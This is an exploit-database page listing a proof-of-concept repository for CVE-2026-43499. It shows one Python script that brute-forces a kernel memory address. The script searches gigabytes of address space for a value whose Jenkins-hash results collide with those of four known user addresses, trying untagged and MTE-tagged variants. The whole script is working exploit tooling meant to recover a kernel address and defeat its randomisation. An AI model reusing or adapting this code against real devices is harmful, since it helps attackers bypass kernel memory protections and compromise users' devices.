Exploit database

GH-e6e5922ef9ac5cc7d4897803cb452516

zero2005x/rokid-rv101-research

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

165 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files30

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

research/ghostlock_refs/extracted/honor/cve-2026-43499-honor-main/scripts/analyze/offline_fine.py

Python · 2,494 bytes
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Definitive: 16-byte granularity search over RAM region for the REAL collision
addresses, untagged first (tag 0xf = top byte 0xff), then tagged 0-14."""
import numpy as np
np.seterr(over='ignore')
U32 = np.uint32
MASK = np.uint32(2047)

ADDRS = [0x7ddd5500c8, 0x6ae75a9450, 0x6ae8c04728, 0x6aeace2e18]
BASE = 0xffffff8080000000
RAM = 15 * (1 << 30)
STEP = 0x10


def rol32(x, s):
    s = U32(s); return (x << s) | (x >> (U32(32) - s))


def jh(k0, k1, k2, k3, iv):
    a = b = c = U32(0xdeadbeef) + U32(16) + U32(iv)
    a = a + k0; b = b + k1; c = c + k2
    a = a - c; a ^= rol32(c, 4);  c = c + b
    b = b - a; b ^= rol32(a, 6);  a = a + c
    c = c - b; c ^= rol32(b, 8);  b = b + a
    a = a - c; a ^= rol32(c, 16); c = c + b
    b = b - a; b ^= rol32(a, 19); a = a + c
    c = c - b; c ^= rol32(b, 4);  b = b + a
    a = a + k3
    c ^= b; c = c - rol32(b, 14)
    a ^= c; a = a - rol32(c, 11)
    b ^= a; b = b - rol32(a, 25)
    c ^= b; c = c - rol32(b, 16)
    a ^= c; a = a - rol32(c, 4)
    b ^= a; b = b - rol32(a, 14)
    c ^= b; c = c - rol32(b, 24)
    return c & MASK


KEYS = []
for a in ADDRS:
    al = a & ~0xfff
    KEYS.append((U32(al & 0xffffffff), U32((al >> 32) & 0xffffffff), U32(a & 0xfff)))


def run_search(tags):
    n = RAM // STEP
    chunk = 16 * (1 << 20)
    for start in range(0, n, chunk):
        end = min(n, start + chunk)
        ml = (np.arange(start, end, dtype=np.uint64) * np.uint64(STEP)).astype(np.uint32)
        seg = start * STEP // (1 << 32)   # which 4GB segment
        untagged_high = U32(0xffffff80 + seg)
        for tag in tags:
            mm_high = (untagged_high & U32(0xF0FFFFFF)) | U32(tag << 24)
            b0 = jh(ml, mm_high, KEYS[0][0], KEYS[0][1], KEYS[0][2])
            ok = np.ones(ml.shape, dtype=bool)
            for (k2, k3, iv) in KEYS[1:]:
                ok &= (jh(ml, mm_high, k2, k3, iv) == b0)
            idx = np.nonzero(ok)[0]
            if idx.size:
                off = (start + int(idx[0])) * STEP
                mm = BASE + off
                return mm | (tag << 56)
    return None


print("[*] untagged (tag 0xf) 16B search ...", flush=True)
r = run_search([0xf])
print("    " + ("命中 mm=0x%016x" % r if r else "无匹配"), flush=True)

if not r:
    print("[*] tagged (0-14) 16B search ...", flush=True)
    r = run_search(list(range(15)))
    print("    " + ("命中 mm=0x%016x" % r if r else "无匹配"), flush=True)
print("DONE", flush=True)